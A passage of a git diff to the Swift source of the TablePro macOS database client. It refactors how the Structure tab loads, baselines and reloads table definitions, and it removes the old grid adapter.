+            title: String(localized: "Discard Changes?"),
+            message: message,
+            confirmButton: String(localized: "Discard Changes"),
+            cancelButton: String(localized: "Cancel"),
+            window: coordinator?.contentWindow
+        )
+    }
+
+    // MARK: - Preview and save
+
+    // Preview checks what Save checks, so the statements it shows are the ones Save would run.
+    func previewChanges() {
+        editor.commitPendingEdits()
+        guard hasChanges, let coordinator else {
+            coordinator?.toolbarState.previewStatements = []
+            return
+        }
+        guard changeManager.canCommit else {
+            AlertHelper.showErrorSheet(
+                title: String(localized: "Some Changes Are Incomplete"),
+                message: changeManager.validationSummary,
+                window: coordinator.contentWindow
+            )
+            return
+        }
+        Task { await previewStagedChanges(coordinator: coordinator) }
+    }
+
+    func save() {
+        Task { _ = await applyStagedChanges(coordinator: coordinator) }
+    }
+}
diff --git a/apple/TablePro/Views/Structure/StructureEditingSession+Loading.swift b/apple/TablePro/Views/Structure/StructureEditingSession+Loading.swift
new file mode 100644
index 0000000000..7b08238b0c
--- /dev/null
+++ b/apple/TablePro/Views/Structure/StructureEditingSession+Loading.swift
@@ -0,0 +1,298 @@
+//
+//  StructureEditingSession+Loading.swift
+//  TablePro
+//
+
+import Foundation
+import os
+import TableProPluginKit
+
+internal extension StructureEditingSession {
+    var loader: TableStructureLoader {
+        TableStructureLoader(scope: scope, tableName: tableName)
+    }
+
+    var offersTableComment: Bool {
+        DatabaseObjectToolEligibility.Support.of(DatabaseManager.shared.driver(for: connection.id))
+            .commentableTypes.contains(objectKind)
+    }
+
+    // A failed read ends the wait, so its section can show the error and Try Again; edits stay closed until a baseline.
+    var isLoadingFirstTime: Bool {
+        !hasBaseline && !editor.sections.contains { loadState.failure(StructureLoadState.Item($0)) != nil }
+    }
+
+    // Idempotent: a pane re-added after a connection switch restarts this, and only what is missing is read.
+    func load() async {
+        settleOwedRefetch()
+        guard !hasLoaded else {
+            await reloadConcurrentRefreshAvailability()
+            await readTableOptionsCatalogIfNeeded()
+            await loadPaneIfNeeded(pane)
+            return
+        }
+        serverSupport = StructureServerSupport.forConnection(connection.id)
+        await fetchDefinitionsNeedingFetch()
+        guard !Task.isCancelled else { return }
+        await loadTableComment()
+        guard !Task.isCancelled else { return }
+        await readTableOptions()
+        guard !Task.isCancelled else { return }
+        adoptIfCurrent()
+        await reloadConcurrentRefreshAvailability()
+        await readTableOptionsCatalogIfNeeded()
+        await loadPaneIfNeeded(pane)
+    }
+
+    // Every offered section read since the last change; a baseline built from less would stage against a guess.
+    var definitionsAreCurrent: Bool {
+        editor.sections.allSatisfy { !loadState.needsFetch(StructureLoadState.Item($0)) }
+    }
+
+    func fetchDefinitionsNeedingFetch() async {
+        for section in editor.sections where loadState.needsFetch(StructureLoadState.Item(section)) {
+            guard !Task.isCancelled else { return }
+            await fetch(StructureLoadState.Item(section))
+        }
+    }
+
+    // A partial read still shows what it got, read-only, so a failed section never hides the ones that loaded.
+    func adoptIfCurrent() {
+        guard definitionsAreCurrent else {
+            if !changeManager.hasChanges { loadDefinitionsIntoManager() }
+            return
+        }
+        hasLoaded = true
+        adoptFetchedBaseline()
+    }
+
+    func loadPaneIfNeeded(_ pane: StructurePane) async {
+        switch pane {
+        case .triggers:
+            guard loadState.needsFetch(.triggers) else { return }
+            await fetch(.triggers)
+        case .ddl:
+            guard loadState.needsFetch(.ddl) else { return }
+            await fetch(.ddl)
+        case .definition, .parts:
+            return
+        }
+    }
+
+    func fetch(_ item: StructureLoadState.Item) async {
+        do {
+            switch item {
+            case .columns:
+                columns = try await loader.columns()
+            case .indexes:
+                indexes = try await loader.indexes()
+            case .foreignKeys:
+                foreignKeys = try await loader.foreignKeys()
+            case .checkConstraints:
+                checkConstraints = try await loader.checkConstraints()
+            case .triggers:
+                triggers = try await loader.triggers()
+            case .ddl:
+                let table = tableName
+                let schema = scope.schema
+                ddlStatement = try await loader.perform { driver in
+                    try await TableDDLComposer.fetchDDL(
+                        for: table, using: driver, includesDependencies: true, schema: schema
+                    )
+                }
+            }
+            loadState.markFetched(item)
+        } catch {
+            guard let message = StructureFetchFailure(error, taskIsCancelled: Task.isCancelled).message else { return }
+            Self.logger.error("Failed to load \(String(describing: item), privacy: .public): \(error.publicLogShape, privacy: .public)")
+            loadState.markFailed(item, message: message)
+        }
+    }
+
+    func retry(_ item: StructureLoadState.Item) {
+        Task {
+            switch item {
+            case .columns, .indexes, .foreignKeys, .checkConstraints:
+                await fetchDefinitionsNeedingFetch()
+                adoptIfCurrent()
+            case .triggers, .ddl:
+                await fetch(item)
+            }
+        }
+    }
+
+    func loadTableComment() async {
+        guard offersTableComment else { return }
+        beginTableCommentLoad()
+        let outcome: MetadataFetchOutcome<String?>
+        do {
+            outcome = .fetched(try await loader.tableComment())
+        } catch {
+            switch StructureFetchFailure(error, taskIsCancelled: Task.isCancelled) {
+            case .cancelled:
+                outcome = .cancelled
+            case .failed(let message):
+                Self.logger.error("Failed to load the table comment: \(error.publicLogShape, privacy: .public)")
+                outcome = .failed(message)
+            }
+        }
+        settleTableComment(outcome)
+    }
+
+    func readTableOptionsCatalogIfNeeded() async {
+        guard needsTableOptionsCatalog else { return }
+        await readTableOptionsCatalog()
+    }
+
+    // MARK: - Baseline
+
+    func adoptLoadedBaseline() {
+        loadDefinitionsIntoManager()
+        hasBaseline = true
+        editor.isAwaitingBaseline = false
+    }
+
+    // PostgreSQL leaves `isPrimaryKey` false on every column, so the primary index decides first.
+    private func loadDefinitionsIntoManager() {
+        let pkFromIndexes = indexes.first(where: { $0.isPrimary })?.columns ?? []
+        let pkFromColumns = columns.filter { $0.isPrimaryKey }.map { $0.name }
+        let primaryKey = pkFromIndexes.isEmpty ? pkFromColumns : pkFromIndexes
+
+        changeManager.loadSchema(
+            tableName: tableName,
+            columns: columns,
+            indexes: indexes,
+            foreignKeys: foreignKeys,
+            checkConstraints: checkConstraints,
+            primaryKey: primaryKey,
+            tableComment: loadedTableComment,
+            tableOptions: loadedTableOptions,
+            autoIncrementConfirmed: autoIncrementRead == .confirmed
+        )
+        editor.refresh()
+    }
+
+    func adoptFetchedBaseline() {
+        guard !changeManager.hasChanges else {
+            markStructureStale()
+            return
+        }
+        adoptLoadedBaseline()
+    }
+
+    func rebaselineUnlessEdited() {
+        guard !isReloadingAfterSave, hasLoaded else { return }
+        adoptFetchedBaseline()
+    }
+
+    // Reads what the Structure tab's first mount reads, so an edit staged without the tab composes the statements
+    // the tab would.
+    func loadEditingBaseline(provider: any ScopedMetadataProviding = DatabaseManager.shared) async throws {
+        let loader = TableStructureLoader(scope: scope, tableName: tableName, provider: provider)
+        serverSupport = StructureServerSupport.forConnection(connection.id)
+        columns = try await loader.columns()
+        indexes = try await loader.indexes()
+        foreignKeys = try await loader.foreignKeys()
+        if editor.offers(.checkConstraints) {
+            checkConstraints = try await loader.checkConstraints()
+        }
+        adoptLoadedBaseline()
+        hasLoaded = true
+    }
+
+    // MARK: - Reload
+
+    func reloadDefinitions() async {
+        let includesForeignKeys = editor.offers(.foreignKeys)
+        let offersTableOptions = offersTableOptionsTab
+        do {
+            let reloaded = try await loader.coreTabs(
+                includingForeignKeys: includesForeignKeys,
+                includingTableComment: offersTableComment,
+                includingTableOptions: offersTableOptions
+            )
+            if let comment = reloaded.tableComment {
+                settleTableComment(comment)
+            }
+            // A save never adopts the counter it wrote: the server raises a low value, so this read is what shows.
+            if let options = reloaded.tableOptions {
+                settleTableOptions(options)
+            }
+            columns = reloaded.columns
+            indexes = reloaded.indexes
+            loadState.markFetched(.columns)
+            loadState.markFetched(.indexes)
+            if includesForeignKeys {
+                foreignKeys = reloaded.foreignKeys
+                loadState.markFetched(.foreignKeys)
+            }
+        } catch {
+            if offersTableOptions {
+                settleTableOptions(.cancelled)
+            }
+            if let message = StructureFetchFailure(error, taskIsCancelled: Task.isCancelled).message {
+                Self.logger.error("Failed to reload structure: \(error.publicLogShape, privacy: .public)")
+                loadState.markFailed(.columns, message: message)
+            }
+        }
+        if editor.offers(.checkConstraints) {
+            await fetch(.checkConstraints)
+        }
+        await reloadConcurrentRefreshAvailability()
+    }
+
+    // A failed read keeps the save's tables closed to edits until Try Again reads them.
+    func refreshAfterApply() async {
+        isReloadingAfterSave = true
+        await reloadDefinitions()
+        isReloadingAfterSave = false
+        adoptIfCurrent()
+        await loadPaneIfNeeded(pane)
+    }
+
+    // Refresh reads everything again; staged edits are discarded first, after asking.
+    func refresh() {
+        guard !isReloadingAfterSave else { return }
+        let justSaved = lastAppliedAt.map { Date().timeIntervalSince($0) < 2.0 } ?? false
+        guard changeManager.hasChanges, !justSaved else {
+            Task { await reloadEverything() }
+            return
+        }
+        Task {
+            guard await confirmDiscard(
+                message: String(localized: "Refreshing reads the table structure again and discards the changes you have not saved.")
+            ) else { return }
+            discardChanges()
+            await reloadEverything()
+        }
+    }
+
+    private func reloadEverything() async {
+        markEveryTabStale()
+        editor.referenceMenus.invalidateTableLists()
+        partsReloadToken &+= 1
+        await reloadDefinitions()
+        adoptIfCurrent()
+        await loadPaneIfNeeded(pane)
+    }
+}
+
+internal enum StructureFetchFailure: Equatable {
+    case cancelled
+    case failed(String)
+
+    internal init(_ error: any Error, taskIsCancelled: Bool) {
+        if error is CancellationError || taskIsCancelled {
+            self = .cancelled
+        } else {
+            self = .failed(error.localizedDescription)
+        }
+    }
+
+    internal var message: String? {
+        switch self {
+        case .cancelled: nil
+        case .failed(let message): message
+        }
+    }
+}
diff --git a/apple/TablePro/Views/Structure/StructureEditingSession.swift b/apple/TablePro/Views/Structure/StructureEditingSession.swift
index 5ff284e764..5e4cd04c59 100644
--- a/apple/TablePro/Views/Structure/StructureEditingSession.swift
+++ b/apple/TablePro/Views/Structure/StructureEditingSession.swift
@@ -8,6 +8,8 @@ import Foundation
 import os
 import TableProPluginKit
 
+// One table tab's structure: what was read, what is staged, and the commands that act on it. The coordinator
+// holds it by tab id, so staged edits, the close prompt and Save work with no view mounted.
 @MainActor
 internal final class StructureEditingSession: ObservableObject {
     static let logger = Logger(subsystem: "com.TablePro", category: "StructureEditingSession")
@@ -23,12 +25,7 @@ internal final class StructureEditingSession: ObservableObject {
     internal let objectKind: TableInfo.TableType
 
     internal let changeManager = StructureChangeManager()
-
-    // Owned here, not by the view, so the grid the user types into and the edits the close prompt
-    // reports are one object, and its model outlives every remount.
-    internal let gridAdapter: StructureGridAdapter
-
-    internal var gridModel: DataGridModel { gridAdapter.model }
+    internal let editor: StructureDefinitionEditor
 
     internal var scope: DatabaseScope {
         DatabaseScope(
@@ -42,7 +39,7 @@ internal final class StructureEditingSession: ObservableObject {
     @Published internal var checkConstraints: [CheckConstraintInfo] = []
     @Published internal var triggers: [TriggerInfo] = []
     @Published internal var ddlStatement: String = ""
-    @Published internal var tabData = StructureTabDataState()
+    @Published internal var loadState = StructureLoadState()
 
     @Published internal var concurrentRefresh: MetadataLoadState<PluginConcurrentRefreshAvailability?> = .idle
     private var concurrentRefreshRequest = 0
@@ -55,56 +52,51 @@ internal final class StructureEditingSession: ObservableObject {
 
     internal var loadedTableOptions: TableOptions? { tableOptions.value ?? nil }
 
-    /// Leaves `.confirmed` when a save writes the counter and returns only on a read that lands, since the server may raise it.
+    // Leaves `.confirmed` when a save writes the counter and returns only on a read that lands, since the server may raise it.
     @Published internal private(set) var autoIncrementRead: AutoIncrementReadState = .confirmed
 
     @Published internal private(set) var tableOptionsCatalog: MetadataLoadState<TableOptionsCatalog?> = .idle
     internal var tableOptionsCatalogRead: Task<Void, Never>?
 
-    @Published internal var selectedTab: StructureTab = .columns
-    @Published internal var searchText = ""
-    @Published internal var sortState = SortState()
-    @Published internal var sortDescriptor: StructureSortDescriptor?
-    @Published internal var columnLayouts: [StructureTab: ColumnLayoutState] = [:]
+    @Published internal var pane: StructurePane = .definition
+    @Published internal var partsReloadToken = 0
 
     @Published internal var serverSupport = StructureServerSupport.unrestricted {
         didSet {
-            guard !availableTabs.contains(selectedTab) else { return }
-            selectedTab = .columns
+            editor.serverSupport = serverSupport
+            if !availablePanes.contains(pane) {
+                pane = .definition
+            }
         }
     }
 
-    internal var availableTabs: [StructureTab] {
-        StructureTabAvailability.tabs(
-            for: connection.type,
-            serverSupport: serverSupport,
-            offersTableOptions: offersTableOptionsTab
-        )
-    }
-
-    internal var tabsFetchedOnMount: [StructureTab] {
-        var tabs: [StructureTab] = [.columns, .indexes, .foreignKeys]
-        if availableTabs.contains(.checkConstraints) {
-            tabs.append(.checkConstraints)
-        }
-        if !tabs.contains(selectedTab) {
-            tabs.append(selectedTab)
+    internal var availablePanes: [StructurePane] {
+        StructurePane.allCases.filter { pane in
+            switch pane {
+            case .definition, .ddl: true
+            case .triggers: connection.type.supportsTriggers
+            case .parts: connection.type == .clickhouse
+            }
         }
-        return tabs
     }
 
-    @Published internal var footer = StructureFooterCapability()
-
     @Published internal var hasLoaded = false
-
+    @Published internal var hasBaseline = false
+    // The ER diagram's sessions watch this to learn a save landed.
     @Published internal private(set) var appliedVersion = 0
-
     @Published internal var isApplying = false
-
     @Published internal var lastAppliedAt: Date?
 
+    internal var isReloadingAfterSave = false
+
+    weak var coordinator: MainContentCoordinator? {
+        didSet { editor.coordinator = coordinator }
+    }
+
     internal var executionGate: any ExecutionGate = ExecutionGateProvider.shared
 
+    private var cancellables: Set<AnyCancellable> = []
+
     internal init(
         identity: String,
         connection: DatabaseConnection,
@@ -122,24 +114,59 @@ internal final class StructureEditingSession: ObservableObject {
         self.isSessionBound = isSessionBound
         self.tableName = tableName
         self.objectKind = objectKind
-        self.serverSupport = serverSupport
-        gridAdapter = StructureGridAdapter(
-            structureChangeManager: changeManager,
-            connection: connection,
-            tableName: tableName,
-            databaseName: databaseName,
-            schemaName: schemaName,
-            objectKind: objectKind,
-            isSessionBound: isSessionBound
+        editor = StructureDefinitionEditor(
+            manager: changeManager,
+            context: .existingTable(
+                connection: connection,
+                databaseName: databaseName,
+                schemaName: schemaName,
+                tableName: tableName,
+                objectKind: objectKind,
+                isSessionBound: isSessionBound
+            )
         )
-        gridAdapter.session = self
-        gridAdapter.store.session = self
+        self.serverSupport = serverSupport
+        editor.serverSupport = serverSupport
+        // Nothing is editable before the table's definitions are read.
+        editor.isAwaitingBaseline = true
+        editor.characterSetContextProvider = { [weak self] in
+            ColumnCharacterSetMenus.Context(
+                catalog: self?.tableOptionsCatalog ?? .idle,
+                tableCharacterSet: self?.changeManager.tableOptions.current?.characterSet
+            )
+        }
+        editor.characterSetCatalogReader = { [weak self] in
+            guard let self else { return }
+            switch tableOptionsCatalog {
+            case .idle, .failed:
+                Task { await self.readTableOptionsCatalog() }
+            case .loading, .loaded:
+                break
+            }
+        }
+        editor.moveColumnHandler = { [weak self] from, to in
+            self?.beginColumnReorder(fromIndex: from, toIndex: to)
+        }
+        changeManager.objectWillChange
+            .sink { [weak self] in self?.objectWillChange.send() }
+            .store(in: &cancellables)
+        $tableOptionsCatalog
+            .dropFirst()
+            .receive(on: RunLoop.main)
+            .sink { [weak self] _ in self?.editor.refresh() }
+            .store(in: &cancellables)
     }
 
+    // A tab's session reads the table again at once; a diagram's has no view to show it and is dropped instead.
     internal func markApplied() {
         appliedVersion += 1
+        guard coordinator != nil else { return }
+        editor.isAwaitingBaseline = true
+        Task { await refreshAfterApply() }
     }
 
+    // MARK: - Staleness
+
     internal private(set) var owesRefetch = false
 
     internal func markStructureStale() {
@@ -159,10 +186,12 @@ internal final class StructureEditingSession: ObservableObject {
     }
 
     internal func markEveryTabStale() {
-        tabData.markAllStale()
+        loadState.markAllStale()
         owesRefetch = false
     }
 
+    // MARK: - Table comment and options
+
     internal func beginTableCommentLoad() {
         tableComment = tableComment.enteringLoad
     }
@@ -238,41 +267,23 @@ internal final class StructureEditingSession: ObservableObject {
         concurrentRefresh = concurrentRefresh.settled(by: outcome, discardingValue: true)
     }
 
-    // The mounted view installs closures that capture it, and it holds this session; called wherever a
-    // session is dropped, never from `onDisappear`.
+    // Called wherever a session is dropped, never from `onDisappear`.
     internal func releaseViewWiring() {
-        gridAdapter.releaseViewWiring()
+        coordinator = nil
     }
 }
 
 internal enum AutoIncrementReadState: Equatable {
     case confirmed
     case rereading
-    /// The re-read failed or was cancelled, so the loaded counter may be one the server has moved past.
+    // The re-read failed or was cancelled, so the loaded counter may be one the server has moved past.
     case unconfirmed
 }
 
 extension StructureEditingSession: ActiveGridModelProviding {
-    // The schema grid while a sub-tab shows one; Parts, Triggers and Options draw views of their own.
+    // The section that holds the selection while the Definition page is on screen; the other panes draw no grid.
     var activeGridModel: DataGridModel? {
-        switch selectedTab {
-        case .columns, .indexes, .foreignKeys, .checkConstraints:
-            return gridModel
-        case .ddl, .parts, .triggers, .options:
-            return nil
-        }
-    }
-}
-
-internal struct StructureFooterCapability: Equatable {
-    internal var canAdd = false
-    internal var canRemove = false
-    internal var addLabel = ""
-    internal var removeLabel = ""
-
-    internal var unavailableReason: String?
-
-    internal var isActive: Bool {
-        !addLabel.isEmpty
+        guard pane == .definition else { return nil }
+        return editor.focusedModel ?? editor.adapter(for: .columns).model
     }
 }
diff --git a/apple/TablePro/Views/Structure/StructureFooterPolicy.swift b/apple/TablePro/Views/Structure/StructureFooterPolicy.swift
index 65d8be1e2f..b42c3ffd7e 100644
--- a/apple/TablePro/Views/Structure/StructureFooterPolicy.swift
+++ b/apple/TablePro/Views/Structure/StructureFooterPolicy.swift
@@ -2,104 +2,45 @@
 //  StructureFooterPolicy.swift
 //  TablePro
 //
-//  What the add/remove pair under a structure list offers, and why it is dimmed when it is.
-//
 
 import Foundation
 import TableProPluginKit
 
-/// The single decision behind the "+" and "-" under the Structure tab's list.
-///
-/// Pure and SwiftUI-free so the rule is testable, and one function so the label, the enabled state
-/// and the tooltip can never disagree. They did: the labels came from one switch, the enabled state
-/// from a second that read engine capability flags alone, and the tooltip from a third that returned
-/// nil for every tab but Foreign Keys. So a view offered an enabled "Add Column" over an
-/// `ALTER TABLE … ADD COLUMN` PostgreSQL always refuses, with nothing to explain it. (#2726)
+// The add and remove pair beneath each section's table: what it is called and which edit it stages.
 enum StructureFooterPolicy {
-    /// Nil for a tab with nothing to add: DDL is text, Parts is read-only, and a trigger is created
-    /// through its own editor rather than by typing a row.
-    static func operation(forAdding tab: StructureTab) -> StructureEditOperation? {
-        switch tab {
-        case .columns: return .addColumn
-        case .indexes: return .addIndex
-        case .foreignKeys: return .addForeignKey
-        case .checkConstraints: return .addCheckConstraint
-        case .options, .ddl, .parts, .triggers: return nil
+    static func operation(forAdding section: StructureSection) -> StructureEditOperation {
+        switch section {
+        case .columns: .addColumn
+        case .indexes: .addIndex
+        case .foreignKeys: .addForeignKey
+        case .checkConstraints: .addCheckConstraint
         }
     }
 
-    static func operation(forRemoving tab: StructureTab) -> StructureEditOperation? {
-        switch tab {
-        case .columns: return .dropColumn
-        case .indexes: return .dropIndex
-        case .foreignKeys: return .dropForeignKey
-        case .checkConstraints: return .dropCheckConstraint
-        case .options, .ddl, .parts, .triggers: return nil
+    static func operation(forRemoving section: StructureSection) -> StructureEditOperation {
+        switch section {
+        case .columns: .dropColumn
+        case .indexes: .dropIndex
+        case .foreignKeys: .dropForeignKey
+        case .checkConstraints: .dropCheckConstraint
         }
     }
 
-    /// Why the grid and the pair under it take no edits while a save runs.
+    // Why the tables and the pairs under them take no edits while a save runs.
     static var savingReason: String {
         String(localized: "The staged changes are being saved.")
     }
 
-    static func labels(for tab: StructureTab) -> (add: String, remove: String)? {
-        switch tab {
+    static func labels(for section: StructureSection) -> (add: String, remove: String) {
+        switch section {
         case .columns:
-            return (String(localized: "Add Column"), String(localized: "Remove Column"))
+            (String(localized: "Add Column"), String(localized: "Remove Column"))
         case .indexes:
-            return (String(localized: "Add Index"), String(localized: "Remove Index"))
+            (String(localized: "Add Index"), String(localized: "Remove Index"))
         case .foreignKeys:
-            return (String(localized: "Add Foreign Key"), String(localized: "Remove Foreign Key"))
+            (String(localized: "Add Foreign Key"), String(localized: "Remove Foreign Key"))
         case .checkConstraints:
-            return (String(localized: "Add Check Constraint"), String(localized: "Remove Check Constraint"))
-        case .options, .ddl, .parts, .triggers:
-            return nil
-        }
-    }
-
-    /// - Parameter resolve: The full availability of one operation, which the caller supplies because
-    ///   it owns the connection the engine half of the answer comes from.
-    ///
-    /// A refusing object kind keeps the pair on screen and dims it with the reason, the way the
-    /// Foreign Keys tab already did. An engine that cannot edit structure at all hides it instead:
-    /// there is nothing to explain per object when the whole tab is read-only.
-    static func resolve(
-        tab: StructureTab,
-        canEditSchema: Bool,
-        hasSelection: Bool,
-        isSaving: Bool,
-        resolve: (StructureEditOperation) -> StructureEditAvailability
-    ) -> StructureFooterCapability {
-        guard canEditSchema,
-              let labels = labels(for: tab),
-              let adding = operation(forAdding: tab),
-              let removing = operation(forRemoving: tab)
-        else {
-            return StructureFooterCapability()
+            (String(localized: "Add Check Constraint"), String(localized: "Remove Check Constraint"))
         }
-
-        /// A save holds what is staged until it ends, so nothing can be added or removed meanwhile.
-        guard !isSaving else {
-            return StructureFooterCapability(
-                addLabel: labels.add,
-                removeLabel: labels.remove,
-                unavailableReason: savingReason
-            )
-        }
-
-        let addAvailability = resolve(adding)
-        let removeAvailability = resolve(removing)
-
-        return StructureFooterCapability(
-            canAdd: addAvailability.isAvailable,
-            canRemove: hasSelection && removeAvailability.isAvailable,
-            addLabel: labels.add,
-            removeLabel: labels.remove,
-            /// Never the absence of a selection. The pair dims while nothing is selected on every
-            /// tab and on every engine, which needs no sentence; only a refusal the user could not
-            /// have predicted does.
-            unavailableReason: addAvailability.unavailableReason ?? removeAvailability.unavailableReason
-        )
     }
 }
diff --git a/apple/TablePro/Views/Structure/StructureGridAdapter+Inspector.swift b/apple/TablePro/Views/Structure/StructureGridAdapter+Inspector.swift
deleted file mode 100644
index b988b70087..0000000000
--- a/apple/TablePro/Views/Structure/StructureGridAdapter+Inspector.swift
+++ /dev/null
@@ -1,28 +0,0 @@
-//
-//  StructureGridAdapter+Inspector.swift
-//  TablePro
-//
-
-import Foundation
-
-// The inspector names a row by its position in the grid, the same position the grid's selection uses.
-extension StructureGridAdapter: InspectorRowSource {
-    func inspectorRow(atDisplayRow displayRow: Int) -> InspectorRow? {
-        guard let rowID = model.rowID(at: displayRow),
-              let sourceIndex = StructureRowProvider.sourceIndex(of: rowID),
-              let providerRow = provider.displayRow(ofSourceIndex: sourceIndex) else { return nil }
-        return StructureInspectorRowBuilder.row(
-            atDisplayRow: providerRow,
-            tab: selectedTab,
-            provider: provider,
-            canEditSchema: canEdit,
-            lockedFieldIndices: lockedFieldIndices.union(characterSetLockedFields(sourceIndex: sourceIndex)),
-            rowOptions: { menuOptions(sourceIndex: sourceIndex, field: $0) }
-        )
-    }
-
-    func commitInspectorField(displayRow: Int, fieldIndex: Int, value: String?) {
-        guard let rowID = model.rowID(at: displayRow) else { return }
-        applyEdit(rowID: rowID, field: fieldIndex, text: value ?? "")
-    }
-}
diff --git a/apple/TablePro/Views/Structure/StructureGridAdapter.swift b/apple/TablePro/Views/Structure/StructureGridAdapter.swift
deleted file mode 100644
index cd22297687..0000000000
--- a/apple/TablePro/Views/Structure/StructureGridAdapter.swift
+++ /dev/null
@@ -1,546 +0,0 @@
-//
-//  StructureGridAdapter.swift
-//  TablePro
-//
-
-import AppKit
-import TableProPluginKit
-
-// Feeds the Structure tab's grid from the session's working definitions and writes its edits back,
-// always by the definition a row names, never by where the row sits on screen.
-@MainActor
-final class StructureGridAdapter {
-    let model: DataGridModel
-    let store: StructureGridStateStore
-    let structureChangeManager: StructureChangeManager
-    let connection: DatabaseConnection
-    let tableName: String
-    let databaseName: String
-    let schemaName: String?
-    let objectKind: TableInfo.TableType
-    let isSessionBound: Bool
-    let referenceMenus: ForeignKeyReferenceMenus
-
-    weak var session: StructureEditingSession?
-    weak var coordinator: MainContentCoordinator?
-    // Installed by the mounted view while a column may be moved; it owns the reorder flow and its sheets.
-    var moveRowHandler: ((Int, Int) -> Void)?
-
-    private(set) var provider: StructureRowProvider
-    private var snapshot = StructureGridSnapshot()
-    private let changeTracking: StructureGridChangeState
-    private let changeState: AnyChangeManager
-
-    init(
-        structureChangeManager: StructureChangeManager,
-        connection: DatabaseConnection,
-        tableName: String,
-        databaseName: String,
-        schemaName: String?,
-        objectKind: TableInfo.TableType,
-        isSessionBound: Bool
-    ) {
-        self.structureChangeManager = structureChangeManager
-        self.connection = connection
-        self.tableName = tableName
-        self.databaseName = databaseName
-        self.schemaName = schemaName
-        self.objectKind = objectKind
-        self.isSessionBound = isSessionBound
-        let store = StructureGridStateStore()
-        self.store = store
-        self.model = DataGridModel(store: store)
-        self.referenceMenus = ForeignKeyReferenceMenus(connectionId: connection.id, databaseType: connection.type)
-        self.changeTracking = StructureGridChangeState(manager: structureChangeManager)
-        self.changeState = AnyChangeManager(changeTracking)
-        self.provider = StructureRowProvider(
-            changeManager: structureChangeManager,
-            tab: .columns,
-            databaseType: connection.type,
-            additionalFields: [.primaryKey],
-            serverSupport: .unrestricted
-        )
-        referenceMenus.schemaName = schemaName
-        // Read when a list lands, not captured: the view hands the coordinator over on every appearance.
-        referenceMenus.onListsChanged = { [weak self] in
-            self?.coordinator?.inspectorRowSourceRevision += 1
-        }
-        model.dataSource = self
-        model.actions = self
-    }
-
-    // MARK: - State
-
-    // The sub-tab whose rows the grid shows. The session's selection moves first and refresh() follows, so every
-    // write, menu and command reads this, never the incoming sub-tab (an open edit commits into the rows it was on).
-    var selectedTab: StructureTab { store.subTab }
-    private var serverSupport: StructureServerSupport { session?.serverSupport ?? .unrestricted }
-    private var searchText: String { session?.searchText ?? "" }
-    private var sortDescriptor: StructureSortDescriptor? { session?.sortDescriptor }
-
-    var characterSetContext: ColumnCharacterSetMenus.Context {
-        ColumnCharacterSetMenus.Context(
-            catalog: session?.tableOptionsCatalog ?? .idle,
-            tableCharacterSet: structureChangeManager.tableOptions.current?.characterSet
-        )
-    }
-
-    var editGate: StructureEditGate {
-        StructureEditGate(
-            databaseType: connection.type, objectKind: objectKind, schema: schemaName, isSessionBound: isSessionBound
-        )
-    }
-
-    var canEditForeignKeys: Bool {
-        editGate.allows(.addForeignKey)
-    }
-
-    var canStageAddForSelectedTab: Bool {
-        guard let adding = StructureFooterPolicy.operation(forAdding: selectedTab) else { return false }
-        return editGate.allows(adding)
-    }
-
-    var canStageRemoveForSelectedTab: Bool {
-        guard let removing = StructureFooterPolicy.operation(forRemoving: selectedTab) else { return false }
-        return editGate.allows(removing)
-    }
-
-    var canEdit: Bool {
-        editGate.allowsAnyEdit && !structureChangeManager.isHeldForSave
-    }
-
-    var lockedFieldIndices: Set<Int> {
-        editGate.lockedFieldIndices(
-            on: selectedTab,
-            orderedFields: provider.orderedColumnFields,
-            fieldCount: provider.columns.count
-        )
-    }
-
-    var editRefusal: String? {
-        if structureChangeManager.isHeldForSave { return StructureFooterPolicy.savingReason }
-        guard !editGate.allowsAnyEdit else { return nil }
-        return editGate.resolve(.renameColumn).unavailableReason
-    }
-
-    var columnReorderAvailability: ColumnReorderAvailability {
-        ColumnReorderPolicy.resolve(
-            support: PluginManager.shared.columnReorderSupport(for: connection.type),
-            engineName: connection.type.displayName,
-            isColumnsTab: selectedTab == .columns,
-            kindRefusal: editGate.kindRefusal(.reorderColumns),
-            canEditSchema: editGate.canEditSchema,
-            hasStagedChanges: structureChangeManager.hasChanges,
-            isRearranged: !searchText.isEmpty || sortDescriptor != nil || store.valueFilter.isActive
-        )
-    }
-
-    var showsGrid: Bool {
-        switch selectedTab {
-        case .columns, .indexes, .foreignKeys, .checkConstraints: true
-        case .triggers, .options, .ddl, .parts: false
-        }
-    }
-
-    // MARK: - Refresh
-
-    // Called whenever the working definitions, the sub-tab, the search, the sort or the edit gate moved.
-    func refresh() {
-        let tab = session?.selectedTab ?? store.subTab
-        if store.subTab != tab {
-            model.commitEditing()
-            store.switchSubTab(to: tab)
-        }
-        changeTracking.tab = tab
-        changeTracking.rowCount = StructureGridEdits.rowCount(on: tab, manager: structureChangeManager)
-
-        let provider = StructureRowProvider(
-            changeManager: structureChangeManager,
-            tab: tab,
-            databaseType: connection.type,
-            additionalFields: [.primaryKey],
-            serverSupport: serverSupport,
-            filterText: searchText.isEmpty ? nil : searchText,
-            sortDescriptor: sortDescriptor,
-            picksCharacterSets: ColumnCharacterSetMenus.offersMenus(characterSetContext.catalog)
-        )
-        self.provider = provider
-        let rows = provider.asTableRows()
-        let states = rows.rows.map { row in
-            StructureGridEdits.visualState(
-                sourceIndex: StructureRowProvider.sourceIndex(of: row.id) ?? -1,
-                tab: tab,
-                manager: structureChangeManager,
-                orderedFields: provider.orderedColumnFields,
-                tintsModifiedFields: true
-            )
-        }
-        let wasEditable = model.configuration.isEditable
-        model.configuration = makeConfiguration(provider: provider)
-        let previous = snapshot
-        snapshot = StructureGridSnapshot(rows: rows, states: states)
-        model.applyHeldSnapshot(from: previous, to: snapshot)
-        // A save hold changes only the editability, and the inspector's fields have to follow it.
-        if previous.rows.rows != rows.rows || previous.states != states || previous.rows.columns != rows.columns
-            || wasEditable != model.configuration.isEditable {
-            coordinator?.inspectorRowSourceRevision += 1
-        }
-    }
-
-    private func makeConfiguration(provider: StructureRowProvider) -> DataGridConfiguration {
-        var configuration = DataGridConfiguration()
-        let options = provider.customDropdownOptions
-        configuration.dropdownColumns = provider.dropdownColumns
-        configuration.typePickerColumns = provider.typePickerColumns
-        configuration.customDropdownOptions = options.isEmpty ? nil : options
-        configuration.lockedColumns = lockedColumns(provider: provider)
-        configuration.editRefusalMessage = editRefusal
-        configuration.isEditable = canEdit
-        configuration.traits = DataGridEngineTraits(
-            databaseType: connection.type,
-            connectionScope: DatabaseScope(connectionId: connection.id, database: databaseName, schema: schemaName),
-            looksUpUserDefinedTypes: true
-        )
-        let reorder = columnReorderAvailability
